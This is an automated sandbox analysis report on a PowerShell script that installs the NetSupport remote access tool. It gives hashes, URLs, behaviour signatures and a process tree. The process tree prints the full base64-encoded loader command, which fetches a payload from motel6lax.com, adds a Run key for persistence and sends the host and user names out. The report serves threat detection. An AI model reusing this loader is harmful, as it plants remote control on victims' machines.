Analysis
-
max time kernel
100s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
16-01-2025 13:43
Static task
static1
Behavioral task
behavioral1
Sample
netsup_clean.ps1
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
netsup_clean.ps1
Resource
win10v2004-20241007-en
General
-
Target
netsup_clean.ps1
-
Size
423B
-
MD5
cb2f8714d903ee68eaaa52b78261eb00
-
SHA1
5a6ce4f8cd4ad17859d11c5c3b136185ef7afbe3
-
SHA256
93f204a36a7f6ac6c77d1fa6aff94f05d40a1cccc0b76c7740e622ac3182c531
-
SHA512
124a37ff5c2fcbb5a601621e2ff6642ed732e389eda95cc4fcf6ad8ba9b17a6899dcdec32a2e3138d0c400b7effcfa2483aa823ce42a04bd1e4c849213c628c5
Malware Config
Extracted
https://motel6lax.com/fly/mot.zip
https://motel6lax.com/fly/
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Netsupport family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 8 4764 powershell.exe 18 4592 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3724 client32.exe -
Loads dropped DLL 5 IoCs
pid Process 3724 client32.exe 3724 client32.exe 3724 client32.exe 3724 client32.exe 3724 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMediaClient = "C:\\Users\\Admin\\AppData\\Roaming\\WinMediaClient\\client32.exe" powershell.exe -
pid Process 4764 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4764 powershell.exe 4764 powershell.exe 4592 powershell.exe 4592 powershell.exe 4592 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4764 powershell.exe Token: SeDebugPrivilege 4592 powershell.exe Token: SeSecurityPrivilege 3724 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3724 client32.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4764 wrote to memory of 4592 4764 powershell.exe 84 PID 4764 wrote to memory of 4592 4764 powershell.exe 84 PID 4592 wrote to memory of 3724 4592 powershell.exe 86 PID 4592 wrote to memory of 3724 4592 powershell.exe 86 PID 4592 wrote to memory of 3724 4592 powershell.exe 86
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\netsup_clean.ps11⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOPrO -EXecuTIONp BypasS -wiNd hId -ENco YwBoAGQASQBSACAAJABFAG4AdgA6AEEAUABQAEQAQQBUAEEAOwAgACQAYQBIAGwAVABpAFoAPQBHAEMAbQAgAFMAVABhAFIAdAAtAGIAaQB0AFMAdABSAEEAbgBzAGYARQByACAALQBFAHIAUgBvAFIAQQBDAHQASQBvAE4AIABTAEkATABFAG4AVABsAFkAQwBPAG4AVABpAG4AdQBFADsAIAAkAHMASABoADMAZAB5AG8AaQA9ACcAVwBpAG4ATQBlAGQAaQBhAEMAbABpAGUAbgB0ACcAOwAgAFsATgBlAHQALgBzAEUAcgB2AEkAQwBFAFAAbwBJAG4AdABNAGEATgBBAEcARQByAF0AOgA6AFMAZQBDAHUAUgBpAFQAWQBQAFIATwBUAG8AYwBvAEwAIAA9ACAAWwBuAGUAdAAuAFMAZQBjAHUAUgBpAHQAWQBQAFIAbwB0AG8AYwBvAEwAdABZAFAARQBdADoAOgB0AGwAcwAxADIAOwAgACQATQByAEsAUgBXAGkAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AZgBsAHkALwBtAG8AdAAuAHoAaQBwACcAOwAgACQAUgByAEoAMABLAEYAPQAiAHsAMAB9AFwAewAxAH0AIgAgAC0AZgAgACQARQBOAHYAOgBBAHAAUABkAGEAVABBACwAIAAkAHMASABoADMAZAB5AG8AaQA7ACAAVAByAFkAIAB7ACAATgBpACAALQBwAEEAdABoACAAJABFAG4AVgA6AEEAcABwAGQAQQB0AGEAIAAtAG4AQQBNAEUAIAAkAHMASABoADMAZAB5AG8AaQAgAC0ASQB0AEUAbQBUAFkAUABlACAAJwBkAGkAcgBlAGMAdABvAHIAeQAnADsAIABBAGQAZAAtAFQAeQBwAEUAIAAtAGEAcwBTAGUAbQBCAGwAeQBuAEEAbQBlACAAUwB5AFMAVABFAG0ALgBJAG8ALgBDAE8AbQBwAFIARQBzAFMAaQBvAE4ALAAgAHMAWQBTAHQAZQBNAC4ASQBPAC4AYwBvAE0AUABSAEUAUwBTAGkAbwBuAC4ARgBpAGwAZQBzAFkAUwBUAGUAbQAgAC0AZQBSAHIAbwBSAGEAYwB0AEkAbwBOACAAUwBJAEwAZQBOAHQAbAB5AGMAbwBOAFQAaQBOAHUAZQA7ACAAJABCAFcAVABiADgATgBYAD0AKABXAEcARQBUACAALQB1AFIASQAgACQATQByAEsAUgBXAGkAIAAtAHUAcwBlAEIAQQBzAEkAYwBwAEEAcgBTAEkATgBHACkALgBDAG8AbgBUAGUAbgBUADsAIAAkAHMAWQBqAG8AVgBiAFQAPQBuAGUAdwAtAE8AQgBKAEUAYwB0ACAAUwBZAFMAVABlAG0ALgBJAG8ALgBNAGUAbQBPAHIAWQBTAFQAUgBlAGEAbQA7ACAAJABzAFkAagBvAFYAYgBUAC4AVwBSAEkAVABFACgAJABCAFcAVABiADgATgBYACwAIAAwACwAIAAkAEIAVwBUAGIAOABOAFgALgBsAEUATgBHAFQASAApADsAIAAkAHMAWQBqAG8AVgBiAFQALgBTAEUAZQBrACgAMAAsACAAWwBTAHkAcwBUAEUAbQAuAGkATwAuAHMARQBFAEsATwBSAEkAZwBpAE4AXQA6ADoAQgBlAEcAaQBuACkAIAB8ACAATwBVAFQALQBOAHUATABsADsAIAAkAFMARQBiAFkAbQBxAEQAVwA9AG4ARQB3AC0AbwBiAGoARQBDAHQAIABzAHkAUwB0AGUATQAuAGkAbwAuAEMATwBNAHAAcgBFAFMAcwBJAG8AbgAuAFoAaQBwAGEAcgBjAEgAaQB2AGUAKAAkAHMAWQBqAG8AVgBiAFQALAAgAFsAUwBZAFMAVABFAE0ALgBpAE8ALgBjAG8ATQBwAFIARQBTAFMAaQBPAG4ALgB6AGkAcABBAHIAQwBoAEkAdgBlAG0ATwBkAGUAXQA6ADoAcgBFAGEAZAApADsAIABmAG8AUgBlAGEAYwBoACgAJAA4AE0AQgBaAEwAMwAgAGkAbgAgACQAUwBFAGIAWQBtAHEARABXAC4ARQBuAFQAcgBJAGUAcwApACAAewAgACQAawAzAHoASwBCAHAANQA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABSAHIASgAwAEsARgAsACAAJAA4AE0AQgBaAEwAMwAuAE4AYQBNAEUAOwAgACQAQwB6ADMAcABUAEwAPQAkADgATQBCAFoATAAzAC4ATwBQAEUAbgAoACkAOwAgACQAZAAyAGsAVQBYAEgATQA9AFsAcwBZAHMAdABlAE0ALgBpAG8ALgBGAEkATABFAF0AOgA6AGMAcgBlAEEAdABFACgAJABrADMAegBLAEIAcAA1ACkAOwAgACQAQwB6ADMAcABUAEwALgBDAG8AcABZAHQAbwAoACQAZAAyAGsAVQBYAEgATQApADsAIAAkAGQAMgBrAFUAWABIAE0ALgBDAGwATwBTAGUAKAApADsAIAAkAEMAegAzAHAAVABMAC4AYwBMAE8AUwBFACgAKQA7AH0AIAAkAFMARQBiAFkAbQBxAEQAVwAuAGQAaQBzAFAATwBzAGUAKAApADsAIAAkAHMAWQBqAG8AVgBiAFQALgBkAEkAcwBwAG8AUwBFACgAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAJABXAEkAZwBkAG0ARABSAEcAPQBAACgAJwBwAGMAaQBjAGEAcABpAC4AZABsAGwAJwAsACAAJwBuAHMAawBiAGYAbAB0AHIALgBpAG4AZgAnACwAIAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcAUABDAEkAQwBMADMAMgAuAEQATABMACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AaQBuAGkAJwAsACAAJwBQAEMASQBDAEgARQBLAC4ARABMAEwAJwAsACAAJwBIAFQAQwBUAEwAMwAyAC4ARABMAEwAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcALAAgACcATgBTAE0ALgBMAEkAQwAnACwAIAAnAEEAdQBkAGkAbwBDAGEAcAB0AHUAcgBlAC4AZABsAGwAJwAsACAAJwByAGUAbQBjAG0AZABzAHQAdQBiAC4AZQB4AGUAJwApADsAIAAkAE0AUgBhAGYAUQB4AFUAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AZgBsAHkALwAnADsAIABOAGkAIAAtAHAAQQBUAGgAIAAkAGUATgBWADoAYQBQAHAARABhAFQAYQAgAC0ATgBBAG0AZQAgACQAcwBIAGgAMwBkAHkAbwBpACAALQBpAHQARQBNAHQAeQBQAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgAGkARgAgACgAJABhAEgAbABUAGkAWgApACAAewAgACQAVwBJAGcAZABtAEQAUgBHACAAfAAgAEYATwByAGUAQQBDAGgALQBPAEIAagBlAEMAVAAgAHsAIAAkAHgAQwAzADgAdABIAD0AJABNAFIAYQBmAFEAeABVACsAJABfADsAIAAkAE8ANwBPAHAAdQBiAGUAZQA9ACIAJABSAHIASgAwAEsARgBcACQAXwAiADsAIABzAFQAYQByAHQALQBCAEkAVABTAFQAcgBBAE4AcwBGAGUAUgAgAC0AcwBPAFUAUgBjAGUAIAAkAHgAQwAzADgAdABIACAALQBEAEUAUwB0AEkATgBhAFQAaQBPAE4AIAAkAE8ANwBPAHAAdQBiAGUAZQA7ACAAfQA7AH0AIABFAGwAUwBlACAAewAgACQAVwBJAGcAZABtAEQAUgBHACAAfAAgAEYATwByAGUAQQBDAGgALQBPAEIAagBlAEMAVAAgAHsAIAAkAHgAQwAzADgAdABIAD0AJABNAFIAYQBmAFEAeABVACsAJABfADsAIAAkAE8ANwBPAHAAdQBiAGUAZQA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABSAHIASgAwAEsARgAsACAAJABfADsAIAAkAHcAdABMAGkAMwBvAHoAdQA9ACcAQgBpAFQAcwBBAGQATQBJAE4ALgBFAHgAZQAgAC8AdABSAEEAbgBTAGYARQByACAANgB6AHEAZwB4AHIAIAAvAGQATwBXAE4ATABPAGEAZAAgAC8AcABSAGkATwByAEkAdABZACAATgBPAFIAbQBhAGwAIAAnACwAIAAkAHgAQwAzADgAdABIACwAIAAkAE8ANwBPAHAAdQBiAGUAZQAgAC0ASgBvAEkATgAgACcAIAAnADsAIABpAGUAeAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAdwB0AEwAaQAzAG8AegB1ADsAfQA7ACAAfQA7ACAAfQA7ACAAJABEAHYAegBVAEcAZQBOAD0AZwBlAHQALQBJAFQAZQBtACAAJABSAHIASgAwAEsARgAgAC0AZgBPAFIAYwBFADsAIAAkAEQAdgB6AFUARwBlAE4ALgBBAFQAdAByAGkAQgBVAFQARQBzAD0AJwBIAGkAZABkAGUAbgAnADsAIABjAEQAIAAkAFIAcgBKADAASwBGADsAIAAkADcAcQAxAHcATwBFAFkAOAA9ACQAUgByAEoAMABLAEYAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAUwBUAGEAUgBUACAAYwBsAEkAZQBOAFQAMwAyAC4AZQB4AEUAOwAgAG4AZQBXAC0AaQBUAEUAbQBwAHIAbwBQAGUAUgBUAFkAIAAtAHAAYQB0AGgAIAAnAEgAawBDAHUAOgBcAFMAbwBGAFQAdwBhAFIAZQBcAE0ASQBjAHIATwBzAG8ARgB0AFwAVwBpAG4ARABPAFcAUwBcAGMAVQBSAFIAZQBOAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AQQBtAGUAIAAkAHMASABoADMAZAB5AG8AaQAgAC0AdgBBAGwAdQBlACAAJAA3AHEAMQB3AE8ARQBZADgAIAAtAHAAUgBvAHAAZQBSAFQAWQBUAFkAcABFACAAJwBTAHQAcgBpAG4AZwAnADsAIAAkAHkASABXAFMAWgA9AHAAUwAgAGMAbABpAGUAbgB0ADMAMgAgAC0AZQBSAFIAbwByAGEAYwBUAEkAbwBOACAAUwBpAEwAZQBuAFQAbABZAGMAbwBOAFQAaQBuAHUAZQA7ACAAJABtAGYAZQBBAGYAPQAiAGgAdAB0AHAAcwA6AC8ALwBtAG8AdABlAGwANgBsAGEAeAAuAGMAbwBtAC8AcwB0AGsALwBwAGEAdABjAGgAZQBkAC4AcABoAHAAPwBjAHAAbgBtAGUAPQAkAGUAbgB2ADoAQwBPAG0AcAB1AFQAZQBSAG4AQQBNAGUAJgB1AHMAbgBtAGUAPQAkAEUAbgB2ADoAdQBTAGUAcgBuAGEATQBFACYAcABhAHIAYQBtAD0AIgA7ACAASQBmACAAKAAkAHkASABXAFMAWgAuAEkARAApACAAewAgACQAZgBWAFcAWgBlAD0AJABtAGYAZQBBAGYAKwAnAGEANwBGADAAJwA7ACAASQBOAHYATwBrAEUALQB3AGUAYgBSAEUAUQB1AEUAcwBUACAAJABmAFYAVwBaAGUAIAAtAHUAcwBFAEIAQQBTAGkAQwBwAEEAcgBTAGkAbgBHADsAfQAgAEUATABTAGUAIAB7ACAAJABmAFYAVwBaAGUAPQAkAG0AZgBlAEEAZgArACcAcgBTAFQAcAA4ACcAOwAgAEkATgB2AE8AawBFAC0AdwBlAGIAUgBFAFEAdQBFAHMAVAAgACQAZgBWAFcAWgBlACAALQB1AFMARQBiAGEAUwBJAEMAUABhAFIAcwBpAE4ARwA7AH0AOwA=2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Users\Admin\AppData\Roaming\WinMediaClient\client32.exe"C:\Users\Admin\AppData\Roaming\WinMediaClient\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3724
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5e5ab5d093e49058a43f45f317b401e68
SHA1120da069a87aa9507d2b66c07e368753d3061c2d
SHA2564ec6d8e92ffc5b2a0db420e2d031a2226eef582d5e56d5088fc91bba77288e74
SHA512d44361457713abd28c49f9aa4043b76882e2b5e626816267cf3d79454c48980ba6207333f23b7976b714e090c658db36a844cb27cd6a91615014f3b06ef5623a
-
Filesize
1KB
MD508f9f3eb63ff567d1ee2a25e9bbf18f0
SHA16bf06056d1bb14c183490caf950e29ac9d73643a
SHA25682147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0
SHA512425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
320KB
MD52d3b207c8a48148296156e5725426c7f
SHA1ad464eb7cf5c19c8a443ab5b590440b32dbc618f
SHA256edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
SHA51255c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c
-
Filesize
253B
MD512b8cc1d0a34012bbbbe86880333c567
SHA1e89659c412af82e31e6d14c34e47d7cc4c5ec9a5
SHA2569c48ab2790281fca8d75abc805e6091f1b8133898852e6c09657d66f3dd0c48f
SHA512eb44405dc70b40f15463c075f57b535b6e7c5132a34a99a62d663566ddc50b82f329c40880ab4a5425fe41077d5eec2c28baa500d3b27182ac5f104038ca00dc
-
Filesize
3.5MB
MD5d16ffa06a35601a73b73836bf905ed19
SHA1b8231d36f921e5b75b592ea3374f19216a5c411f
SHA25680cc439a0633add1dd964bb6bb40ccdcfec3ae28da39fd9416642ab0605d40ab
SHA512e79b8cfbdd4d86742420a334ab6e0d70bcd3393ab8b07ae6d49ec435aef2bcbd07681774ac7e66eca41c11aa086b398440f74f0b1b77087aa2c18b76c6f3a168
-
Filesize
33KB
MD5290c26b1579fd3e48d60181a2d22a287
SHA1e4c91a7f161783c68cf67250206047f23bd25a29
SHA256973836529b57815903444dd5d4b764e8730986b1bd87179552f249062ee26128
SHA512114a9f068b36a1edf5cce9269057f0cc17b22a10cd73cbed3ef42ae71324e41363e543a3af8be57b410c533b62bcf7f28650b464cce96e0e6c14819cdb90129a
-
Filesize
737B
MD5765bf756623c5efd76e872b60c0d16af
SHA1c2de909b7901d8d616082a8832ee3fe59a9d8ac2
SHA256d8516bdfc4ac2fd34c71b68768bf3072b3deaad5fb3e0e65a438309f78334450
SHA5129e8d46cefb7ab0abd3a0c7a18214b306b424b94458c0d1c0a67c875cbaf252c53394f38ffd9495fe94bfd27eca0b924f11611cfa0f13039ff3411596b99e7dbc
-
Filesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
Filesize
32KB
MD5dcde2248d19c778a41aa165866dd52d0
SHA17ec84be84fe23f0b0093b647538737e1f19ebb03
SHA2569074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
SHA512c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166
-
Filesize
18KB
MD5a0b9388c5f18e27266a31f8c5765b263
SHA1906f7e94f841d464d4da144f7c858fa2160e36db
SHA256313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
SHA5126051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd